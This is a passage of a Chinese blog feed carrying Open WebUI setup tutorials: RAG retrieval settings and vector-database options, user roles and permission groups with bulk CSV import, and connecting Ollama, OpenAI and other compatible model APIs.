Search）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐</th><th>说明</th></tr></thead><tbody><tr><td><strong>Hybrid Search</strong></td><td><code>ENABLE_RAG_HYBRID_SEARCH</code></td><td><code>false</code></td><td><strong>开启</strong></td><td>结合向量搜索 + BM25 关键词匹配</td></tr></tbody></table><p>混合搜索使用 <code>EnsembleRetriever</code>，同时执行：</p><ul><li><strong>向量搜索</strong>：基于语义相似度，擅长理解同义词和语义关联</li><li><strong>BM25 关键词匹配</strong>：基于词频统计，擅长精确匹配专有名词、代码、ID 等</li></ul><p>两者互补，<strong>显著提升召回率</strong>，推荐开启。</p><h4 id="重排序（Reranking）">重排序（Reranking）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Reranking Model</strong></td><td><code>RAG_RERANKING_MODEL</code></td><td>—</td><td>使用 CrossEncoder/ColBERT 对检索结果重排序</td></tr><tr><td><strong>Top K Reranker</strong></td><td><code>TOP_K_RERANKER</code></td><td>—</td><td>重排序后保留的结果数</td></tr></tbody></table><p>重排序的工作流程：</p><ol><li>先通过向量搜索（+ BM25）召回较多候选结果</li><li>再用 CrossEncoder 模型对每个候选结果与查询进行精细打分</li><li>按新分数重新排序，保留 Top K Reranker 个最相关结果</li></ol><p><strong>推荐配合 Hybrid Search 使用</strong>，这是提升 RAG 质量最有效的组合。</p><h4 id="检索策略建议">检索策略建议</h4><table><thead><tr><th>文档规模</th><th>推荐配置</th></tr></thead><tbody><tr><td>小文档集（&lt;100 个文档）</td><td>Top K=5，不需要混合搜索和重排序</td></tr><tr><td>中等文档集（100-1000）</td><td>Top K=5-8，开启 Hybrid Search</td></tr><tr><td>大文档集（&gt;1000）</td><td>Top K=8-10，开启 Hybrid Search + Reranking，Relevance Threshold=0.2+</td></tr></tbody></table><hr><h3 id="高级设置">高级设置</h3><h4 id="RAG-模板与上下文">RAG 模板与上下文</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>RAG Template</strong></td><td><code>RAG_TEMPLATE</code></td><td>内置模板</td><td>自定义 RAG 提示词模板，控制检索内容如何注入到 LLM prompt</td></tr><tr><td><strong>RAG System Context</strong></td><td><code>RAG_SYSTEM_CONTEXT</code></td><td><code>false</code></td><td>设为 <code>true</code> 将 RAG 上下文放入 system message 而非 user message</td></tr></tbody></table><p><strong>RAG System Context</strong> 的作用：将检索到的文档内容放入 system message，而非 user message。好处是在多轮对话中可以优化 KV cache 复用（因为 system message 不变），推荐 Ollama/llama.cpp 用户开启。</p><h4 id="异步与性能">异步与性能</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Async Embedding</strong></td><td><code>ENABLE_ASYNC_EMBEDDING</code></td><td><code>false</code></td><td>后台线程池处理嵌入，上传大量文档时建议开启</td></tr></tbody></table><h4 id="文件与工具">文件与工具</h4><table><thead><tr><th>配置项</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>File Context</strong></td><td>启用</td><td>控制是否对附件执行 RAG 并预注入内容</td></tr><tr><td><strong>Builtin Tools</strong></td><td>启用</td><td>给模型提供 <code>query_knowledge_bases</code>、<code>search_chats</code> 等函数调用工具</td></tr></tbody></table><h4 id="网页加载">网页加载</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Web Loader SSL Verification</strong></td><td><code>ENABLE_WEB_LOADER_SSL_VERIFICATION</code></td><td><code>true</code></td><td>网页加载时是否验证 SSL 证书</td></tr><tr><td><strong>Google Drive Integration</strong></td><td><code>GOOGLE_DRIVE_API_KEY</code> 等</td><td>—</td><td>Google Drive 文件直接导入</td></tr></tbody></table><hr><h3 id="向量数据库（Vector-Database）">向量数据库（Vector Database）</h3><p>向量数据库用于存储文档的向量表示，是 RAG 检索的底层存储。</p><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Vector DB</strong></td><td><code>VECTOR_DB</code></td><td><code>chromadb</code></td><td>向量数据库类型</td></tr><tr><td><strong>Vector DB URL</strong></td><td><code>VECTOR_DB_URL</code></td><td>—</td><td>外部向量数据库连接地址</td></tr></tbody></table><h4 id="支持的向量数据库">支持的向量数据库</h4><table><thead><tr><th>数据库</th><th>部署方式</th><th>适用场景</th><th>特点</th></tr></thead><tbody><tr><td><strong>ChromaDB</strong></td><td>内置，无需额外配置</td><td>个人使用、小团队</td><td>默认选择，开箱即用</td></tr><tr><td><strong>Qdrant</strong></td><td>需部署独立服务</td><td>大规模部署</td><td>高性能，支持过滤</td></tr><tr><td><strong>Milvus</strong></td><td>需部署独立服务</td><td>企业环境</td><td>分布式，支持十亿级向量</td></tr><tr><td><strong>Weaviate</strong></td><td>需部署独立服务</td><td>需要混合搜索</td><td>内置向量+关键词搜索</td></tr><tr><td><strong>OpenSearch</strong></td><td>需部署独立服务</td><td>已有 OpenSearch 集群</td><td>Elasticsearch 开源替代</td></tr><tr><td><strong>PGVector</strong></td><td>PostgreSQL 扩展</td><td>已有 PostgreSQL 环境</td><td>复用现有数据库</td></tr><tr><td><strong>Pinecone</strong></td><td>云端托管</td><td>云端部署，免运维</td><td>全托管，按用量计费</td></tr><tr><td><strong>S3 Vector</strong></td><td>AWS S3</td><td>AWS 生态</td><td>低成本存储</td></tr></tbody></table><div class="tabs" id="向量数据库配置示例"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="向量数据库配置示例-1">ChromaDB（默认）</button><button type="button" class="tab " data-href="向量数据库配置示例-2">Qdrant</button><button type="button" class="tab " data-href="向量数据库配置示例-3">Milvus</button><button type="button" class="tab " data-href="向量数据库配置示例-4">PGVector</button><button type="button" class="tab " data-href="向量数据库配置示例-5">Pinecone</button></ul><div class="tab-contents"><div class="tab-item-content active" id="向量数据库配置示例-1"><p>内置数据库，无需任何额外配置，开箱即用。适合个人和小团队。</p></div><div class="tab-item-content" id="向量数据库配置示例-2"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=qdrant</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">QDRANT_URL=http://qdrant:6333</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-3"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=milvus</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MILVUS_URI=http://milvus:19530</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-4"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=pgvector</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PGVECTOR_DB_URL=postgresql://user:pass@postgres:5432/vectors</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="向量数据库配置示例-5"><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">VECTOR_DB=pinecone</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PINECONE_API_KEY=your-api-key</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">PINECONE_ENVIRONMENT=us-east-1</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><p>对于大多数用户，<strong>ChromaDB 已经足够使用</strong>，无需额外配置。</p><hr><h3 id="整体最佳实践总结">整体最佳实践总结</h3><p>根据以上所有配置项的分析，以下是推荐的最佳实践组合：</p><table><thead><tr><th>配置项</th><th>推荐值</th><th>理由</th></tr></thead><tbody><tr><td>提取引擎</td><td>根据文档类型选择（见引擎选择建议表）</td><td>复杂 PDF 用 Docling/MinerU/Mistral OCR，简单文档用默认</td></tr><tr><td>PDF 加载模式</td><td>Single Document</td><td>语义连贯性优先</td></tr><tr><td>文本切分器</td><td>中文用 Token，英文用 Character</td><td>中文字符数 ≠ token 数</td></tr><tr><td>Chunk Size</td><td>1000-2000</td><td>平衡上下文完整性和检索精度</td></tr><tr><td>Chunk Overlap</td><td>Chunk Size 的 10%</td><td>保证边界语义连贯</td></tr><tr><td>Markdown 标题切分</td><td>开启（如果文档是 Markdown）</td><td>保留文档结构，减少碎片</td></tr><tr><td>嵌入模型</td><td>本地：Ollama + <code>nomic-embed-text</code></td><td>免费、快速、质量好</td></tr><tr><td>Hybrid Search</td><td><strong>开启</strong></td><td>向量 + 关键词互补，显著提升召回率</td></tr><tr><td>Reranking</td><td>配合 Hybrid Search 开启</td><td>提升精度最有效的组合</td></tr><tr><td>Top K</td><td>5-10</td><td>平衡召回和噪音</td></tr><tr><td>Relevance Threshold</td><td>0.2-0.5</td><td>过滤低质量结果</td></tr><tr><td>RAG System Context</td><td><code>true</code>（Ollama 用户）</td><td>优化多轮对话 KV cache</td></tr><tr><td>向量数据库</td><td>ChromaDB（默认）</td><td>小团队足够，零配置</td></tr></tbody></table><p>💡 <strong>核心原则</strong>：先确定嵌入模型（确定后不要轻易更换），再开启 Hybrid Search + Reranking，最后根据文档类型选择提取引擎。这三步是提升 RAG 质量投入产出比最高的操作。</p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/33455.html</id>
    <link href="https://blog.prorisehub.com/posts/33455.html"/>
    <published>2026-02-27T06:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-4-RAG-文档功能配置">3.4. RAG 文档功能配置</h2>
<p>RAG（检索增强生成）是 Open WebUI 的核心功能之一，允许用户基于自己的文档进行问答。本节将从上到下逐一解析]]>
    </summary>
    <title>OpenWebU-RAG 文档功能配置</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-3-用户与权限管理">3.3. 用户与权限管理</h2><p>Open WebUI 提供了完善的多用户管理功能，适合团队协作使用。</p><h3 id="用户注册与审批流程">用户注册与审批流程</h3><p><strong>默认行为</strong>：</p><ul><li>第一个注册的用户自动成为管理员</li><li>后续注册的用户状态为 “待激活”</li><li>管理员需要手动激活用户</li></ul><p><strong>配置注册开关</strong>：</p><p>管理员面板 → 设置 → 通用 → 身份验证</p><p>找到 “允许新用户注册” 开关：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092217799.png" alt="image-20260213092217799"></p><table><thead><tr><th>状态</th><th>说明</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>开启</strong></td><td>任何人都可以注册，新用户角色由&quot;默认用户角色&quot;决定</td><td>小团队、内网环境</td></tr><tr><td><strong>关闭</strong></td><td>禁止注册，只能由管理员手动添加用户</td><td>严格控制的企业环境</td></tr></tbody></table><p><strong>配置默认用户角色</strong>：</p><p>在同一页面，找到 “默认用户角色” 下拉选择：</p><table><thead><tr><th>角色</th><th>说明</th></tr></thead><tbody><tr><td><strong>待激活</strong></td><td>注册后无法使用系统，需要管理员手动激活（默认值）</td></tr><tr><td><strong>用户</strong></td><td>注册后直接可以使用系统</td></tr><tr><td><strong>管理员</strong></td><td>注册后直接成为管理员（不推荐）</td></tr></tbody></table><p><strong>配置默认权限组</strong>：</p><p>你还可以设置 “默认权限组”，新注册的用户会自动加入该权限组，继承组的权限配置。</p><p>如果你的团队成员都是可信的，可以将默认角色设为 “用户”，这样注册后就能直接使用，无需审批。</p><h3 id="手动添加用户">手动添加用户</h3><p>如果你关闭了注册功能，或者想要批量添加用户，可以使用手动添加功能。</p><p><strong>步骤 1：进入用户管理</strong></p><p>管理员面板 → 用户（Users）</p><p><strong>步骤 2：添加单个用户</strong></p><p>点击右上角的 “添加用户” 按钮，填写信息：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092242263.png" alt="image-20260213092242263"></p><table><thead><tr><th>字段</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><strong>邮箱</strong></td><td>用户登录邮箱</td><td><a href="mailto:user@example.com">user@example.com</a></td></tr><tr><td><strong>用户名</strong></td><td>显示名称</td><td>张三</td></tr><tr><td><strong>密码</strong></td><td>初始密码</td><td>建议生成随机密码</td></tr><tr><td><strong>角色</strong></td><td>用户角色</td><td>User</td></tr></tbody></table><p>点击 “创建” 完成添加。</p><p><strong>步骤 3：通知用户</strong></p><p>将登录信息（邮箱和密码）发送给用户，建议用户首次登录后立即修改密码。</p><h3 id="批量导入用户（CSV）">批量导入用户（CSV）</h3><p>如果需要添加大量用户，可以使用 CSV 批量导入功能。</p><p><strong>步骤 1：准备 CSV 文件</strong></p><p>创建一个 CSV 文件，格式如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">email,name,password,role</span><br><span class="line">user1@example.com,用户1,password123,user</span><br><span class="line">user2@example.com,用户2,password456,user</span><br><span class="line">user3@example.com,用户3,password789,admin</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li>第一行是表头，必须包含这四个字段</li><li>role 可以是 <code>user</code>、<code>admin</code> 或 <code>pending</code></li><li>密码建议使用随机生成的强密码</li></ul><p><strong>步骤 2：导入</strong></p><p>管理员面板 → 用户 → 点击 “导入用户” 按钮</p><p>选择你准备好的 CSV 文件，点击上传。</p><p>系统会显示导入结果，包括成功和失败的记录。</p><h3 id="用户角色体系">用户角色体系</h3><p>Open WebUI 有三种用户角色：</p><table><thead><tr><th>角色</th><th>权限</th><th>适用对象</th></tr></thead><tbody><tr><td><strong>管理员</strong></td><td>完全控制权限，可以管理所有设置、用户、模型</td><td>系统管理员、技术负责人</td></tr><tr><td><strong>用户</strong></td><td>可以使用系统，创建对话，上传文档，但不能修改系统设置</td><td>普通团队成员</td></tr><tr><td><strong>待激活</strong></td><td>无法使用系统，等待管理员激活</td><td>新注册用户</td></tr></tbody></table><p><strong>修改用户角色</strong>：</p><p>管理员面板 → 用户 → 找到目标用户 → 点击角色下拉菜单 → 选择新角色</p><h3 id="权限组管理">权限组管理</h3><p>权限组功能允许你将用户分组，然后批量分配权限。</p><p><strong>创建权限组</strong>：</p><p>管理员面板 → 用户 → 权限组 → 点击 “创建权限组”</p><p>填写信息：</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092335260.png" alt="image-20260213092335260"></p><table><thead><tr><th>字段</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td><strong>组名</strong></td><td>权限组名称</td><td>开发团队</td></tr><tr><td><strong>描述</strong></td><td>组的说明</td><td>负责产品开发的团队成员</td></tr></tbody></table><p><strong>添加成员到权限组</strong>：</p><p>创建权限组后，点击 “添加成员” 按钮，选择要添加的用户。</p><p><strong>为权限组分配权限</strong>：</p><p>权限组创建后，你可以：</p><ul><li>将特定模型的访问权限分配给权限组</li><li>将知识库的访问权限分配给权限组</li><li>将工具和函数的使用权限分配给权限组</li></ul><p>这样，当你添加新成员到权限组时，他们会自动获得组的所有权限，无需逐个配置。</p><blockquote><p>💡 系统默认有一个&quot;默认权限&quot;组，用于所有具有&quot;用户&quot;角色的用户。你可以点击进入修改默认权限。</p></blockquote><h3 id="我的权限组设计">我的权限组设计</h3><p>我接入了大量模型（100+ 个），来源包括 AWS Bedrock、OpenAI、Google Gemini、GitHub Copilot、iFlow 代理、Moonshot 等多个渠道。不同渠道的成本差异很大，不能让所有用户无差别地使用全部模型。</p><p>我借助大模型分析了数据库中的模型列表和权限表结构，设计了三级权限组：</p><table><thead><tr><th>权限组</th><th>定位</th><th>可用模型数</th><th>说明</th></tr></thead><tbody><tr><td><strong>试用组</strong></td><td>新用户体验</td><td>13 个</td><td>仅提供轻量级免费/低成本模型，功能受限（不可多模型对话、不可创建频道等）</td></tr><tr><td><strong>正式组</strong></td><td>日常使用</td><td>77 个</td><td>拥有所有自有渠道模型的访问权限，功能完整</td></tr><tr><td><strong>管理组</strong></td><td>管理员</td><td>102 个（全部）</td><td>在正式组基础上额外拥有高成本第三方渠道模型（GitHub Copilot、SciHub 镜像）</td></tr></tbody></table><p><strong>试用组可用模型（13 个）</strong>：</p><p>只开放成本最低的轻量模型，让新用户体验基本功能：</p><ul><li>Claude Haiku 4.5 系列（AWS 直连 + Kiro 通道）</li><li>Gemini 2.5 Flash / Flash Lite</li><li>GPT-5 Codex Mini / GPT-5.1 Codex Mini</li><li>Qwen3 Coder Flash</li><li>Kiro GPT-3.5/4/4o（旧模型，成本极低）</li></ul><p><strong>正式组额外可用模型（+64 个）</strong>：</p><p>在试用组基础上，解锁所有自有渠道的中高端模型：</p><ul><li>Claude Sonnet 4/4.5、Opus 4.5/4.6 全系列（含 Thinking、Agentic 变体）</li><li>Gemini 2.5 Pro、3 Pro/Flash Preview</li><li>GPT-5/5.1/5.2/5.3 全系列</li><li>DeepSeek V3/V3.1/V3.2、R1（通过 iFlow）</li><li>Qwen3 Max/235B/Coder Plus（通过 iFlow）</li><li>Kimi K2/K2.5（Moonshot 直连 + iFlow）</li><li>GLM 4.6/4.7/5（通过 iFlow）</li><li>MiniMax M2/M2.1（通过 iFlow）</li></ul><p><strong>管理组专属模型（+25 个）</strong>：</p><p>这些模型走 GitHub Copilot 和 SciHub 镜像渠道，成本较高或属于特殊用途，仅管理员可用：</p><ul><li><code>gh-*</code> 系列（21 个）：GitHub Copilot 高级模型，包括 gh-gpt-5.2、gh-claude-opus-4.6、gh-gemini-3-pro-preview 等</li><li><code>scihub.*</code> 系列（4 个）：SciHub Claude 镜像，包括 scihub.claude-opus-4-6、scihub.claude-sonnet-4-5-20250929 等</li></ul><p><strong>权限组的功能差异</strong>：</p><p>除了模型访问权限，三个组在系统功能上也有区别：</p><table><thead><tr><th>功能</th><th>试用组</th><th>正式组</th><th>管理组</th></tr></thead><tbody><tr><td>多模型对话</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>创建频道/文件夹</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>知识库管理</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>工具/函数管理</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>图片生成</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>笔记功能</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>导入/导出模型</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>界面设置</td><td>❌</td><td>❌</td><td>✅</td></tr><tr><td>临时对话强制</td><td>✅（强制）</td><td>❌</td><td>❌</td></tr></tbody></table><p><strong>模型图标规范</strong>：</p><p>为了让用户在模型列表中快速识别来源，我为每个模型统一配置了图标：</p><table><thead><tr><th>模型来源</th><th>图标</th></tr></thead><tbody><tr><td>Claude 系列</td><td>claude-color.svg</td></tr><tr><td>OpenAI GPT 系列</td><td>openai.svg</td></tr><tr><td>Gemini 系列</td><td>gemini-color.svg</td></tr><tr><td>Qwen 系列</td><td>qwen-color.svg</td></tr><tr><td>DeepSeek 系列</td><td>deepseek-color.svg</td></tr><tr><td>Kimi 系列</td><td>moonshot.svg</td></tr><tr><td>MiniMax 系列</td><td>minimax-color.svg</td></tr><tr><td>GLM 系列</td><td>zhipu-color.svg</td></tr><tr><td>Grok 系列</td><td>grok.svg</td></tr><tr><td>Kiro（AWS 通道）</td><td>aws-color.svg</td></tr></tbody></table><p>图标统一使用 <code>cdn.jsdelivr.net/npm/@lobehub/icons-static-svg@1.79.0/icons/</code> 的 SVG 资源。</p><p><strong>批量配置方法</strong>：</p><p>手动逐个配置 100+ 个模型的权限和图标不现实。我的做法是：</p><ol><li>在 Open WebUI 管理面板导出模型列表（JSON 格式）</li><li>用大模型编写 Python 脚本，根据模型 ID 前缀和名称自动推断图标和权限组</li><li>脚本批量写入 <code>access_grants</code>（新版格式）和 <code>meta.profile_image_url</code></li><li>将修正后的 JSON 重新导入 Open WebUI</li></ol><p>这样每次上游新增模型或系统升级后，只需重新导出 → 跑脚本 → 导入，几分钟就能完成全部配置。</p><blockquote><p>⚠️ 注意：Open WebUI 升级后数据库结构可能变化。例如从旧版升级到新版时，模型权限从 <code>model</code> 表的 <code>access_control</code> 字段迁移到了独立的 <code>access_grant</code> 表，导出格式也从 <code>access_control</code> 对象变成了 <code>access_grants</code> 数组。升级后建议先导出一份检查格式再操作。</p></blockquote><h3 id="用户活动监控">用户活动监控</h3><p>Open WebUI 提供了用户活动监控功能，帮助你了解系统使用情况。</p><p><strong>查看活跃用户</strong>：</p><p>管理员面板 → 设置 → 通用 → 找到 “显示活跃用户数” 选项</p><p>启用后，在主界面底部会显示当前活跃用户数和正在使用的模型。</p><p><strong>查看用户详情</strong>：</p><p>管理员面板 → 用户 → 点击用户名</p><p>你可以看到：</p><ul><li>创建的对话数量</li><li>使用的模型统计</li></ul><p><strong>注意</strong>：Open WebUI 不会记录用户的具体对话内容，只记录统计信息，保护用户隐私。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260213092922828.png" alt="image-20260213092922828"></p><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/43426.html</id>
    <link href="https://blog.prorisehub.com/posts/43426.html"/>
    <published>2026-02-27T05:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-3-用户与权限管理">3.3. 用户与权限管理</h2>
<p>Open WebUI 提供了完善的多用户管理功能，适合团队协作使用。</p>
<h3]]>
    </summary>
    <title>OpenWebUi-用户与权限管理</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-2-模型连接与管理">3.2. 模型连接与管理</h2><p>模型连接是 Open WebUI 最核心的配置。没有模型，Open WebUI 就无法工作。</p><h3 id="连接本地-Ollama">连接本地 Ollama</h3><p>如果你在本地运行了 Ollama，需要在 Open WebUI 中配置连接。</p><p><strong>步骤 1：进入连接设置</strong></p><p>管理员面板 → 设置 → 外部连接（Connections）</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211090849150.png" alt="image-20260211090849150"></p><p><strong>步骤 2：配置 Ollama API URL</strong></p><p>在 “Ollama API URL” 字段中填入：</p><table><thead><tr><th>部署方式</th><th>URL</th></tr></thead><tbody><tr><td>Docker 部署（Ollama 在主机）</td><td><code>http://host.docker.internal:11434</code></td></tr><tr><td>Docker Compose（Ollama 在容器）</td><td><code>http://ollama:11434</code></td></tr><tr><td>Python 安装（Ollama 在主机）</td><td><code>http://localhost:11434</code></td></tr></tbody></table><p><strong>步骤 3：验证连接</strong></p><p>点击 URL 输入框右侧的刷新按钮（🔄）。</p><p>如果连接成功，下方会显示 “连接成功” 的提示，并且会自动拉取 Ollama 中的模型列表。</p><p><strong>步骤 4：配置多个 Ollama 实例（可选）</strong></p><p>如果你有多台服务器运行 Ollama，可以添加多个连接。Open WebUI 会自动进行负载均衡。</p><p>点击 “添加 Ollama 实例” 按钮，填入新的 URL，例如：</p><p><a href="http://192.168.1.100:11434">http://192.168.1.100:11434</a><br><a href="http://192.168.1.101:11434">http://192.168.1.101:11434</a></p><p>这样，当用户发起请求时，Open WebUI 会自动选择负载较低的实例。</p><h3 id="连接-OpenAI-API">连接 OpenAI API</h3><p>如果你想使用 OpenAI 的 GPT 模型，需要配置 OpenAI API。</p><p><strong>步骤 1：获取 API 密钥</strong></p><p>访问 OpenAI 官网：<a href="https://platform.openai.com/api-keys">https://platform.openai.com/api-keys</a></p><p>登录后，点击 “Create new secret key” 创建一个新的 API 密钥。</p><p><strong>重要</strong>：API 密钥只会显示一次，请妥善保存。</p><p><strong>步骤 2：在 Open WebUI 中配置</strong></p><p>管理员面板 → 设置 → 外部连接 → OpenAI</p><table><thead><tr><th>字段</th><th>值</th><th>说明</th></tr></thead><tbody><tr><td><strong>API Base URL</strong></td><td><code>https://api.openai.com/v1</code></td><td>OpenAI 官方 API 地址</td></tr><tr><td><strong>API Key</strong></td><td><code>sk-...</code></td><td>你的 API 密钥</td></tr></tbody></table><p><strong>步骤 3：验证连接</strong></p><p>点击刷新按钮，如果连接成功，会自动拉取可用的模型列表（如 gpt-4、gpt-3.5-turbo 等）。</p><p><strong>步骤 4：配置代理（如果需要）</strong></p><p>如果你的网络无法直接访问 OpenAI，可以配置代理：</p><p>在 Docker 部署中，添加环境变量：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HTTP_PROXY=http://your-proxy:port</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HTTPS_PROXY=http://your-proxy:port</span></span><br></pre></td></tr></table></figure><p>或者使用国内的 OpenAI API 中转服务（需要自行寻找可靠的服务商）。</p><h3 id="连接其他兼容-API">连接其他兼容 API</h3><p>Open WebUI 支持任何兼容 OpenAI API 格式的服务，包括：</p><table><thead><tr><th>服务商</th><th>API Base URL 示例</th><th>说明</th></tr></thead><tbody><tr><td><strong>Azure OpenAI</strong></td><td><code>https://your-resource.openai.azure.com/</code></td><td>需要额外配置 API 版本</td></tr><tr><td><strong>Anthropic Claude</strong></td><td><code>https://api.anthropic.com/v1</code></td><td>需要 Claude API 密钥</td></tr><tr><td><strong>Google Gemini</strong></td><td>通过兼容层</td><td>需要使用 LiteLLM 等工具转换</td></tr><tr><td><strong>DeepSeek</strong></td><td><code>https://api.deepseek.com/v1</code></td><td>国内可直接访问</td></tr><tr><td><strong>Groq</strong></td><td><code>https://api.groq.com/openai/v1</code></td><td>速度极快的推理服务</td></tr><tr><td><strong>本地 vLLM</strong></td><td><code>http://localhost:8000/v1</code></td><td>自建推理服务</td></tr></tbody></table><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → 外部连接 → OpenAI → 点击 “+” 添加新连接</p><p>填写：</p><ul><li><strong>名称</strong>：给这个连接起个名字（如 “DeepSeek”）</li><li><strong>API Base URL</strong>：服务商的 API 地址</li><li><strong>API Key</strong>：对应的 API 密钥</li></ul><p><strong>Azure OpenAI 特殊配置</strong>：</p><p>Azure OpenAI 需要额外配置 API 版本和部署名称。在 API Base URL 中包含这些信息：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://your-resource.openai.azure.com/openai/deployments/your-deployment-name?api-version=2024-02-15-preview</span><br></pre></td></tr></table></figure><h3 id="模型可见性与权限控制">模型可见性与权限控制</h3><p>默认情况下，所有用户都能看到所有模型。但在团队使用场景中，你可能希望控制哪些用户能访问哪些模型。</p><p><img src="https://prorise-blog.oss-cn-guangzhou.aliyuncs.com/cover/image-20260211204338312.png" alt="image-20260211204338312"></p><p><strong>步骤 1：进入模型设置</strong></p><p>管理员面板 → 设置 → 模型（Models）</p><p><strong>步骤 2：编辑模型</strong></p><p>找到你想要控制的模型，点击右侧的编辑按钮（✏️）。</p><p><strong>步骤 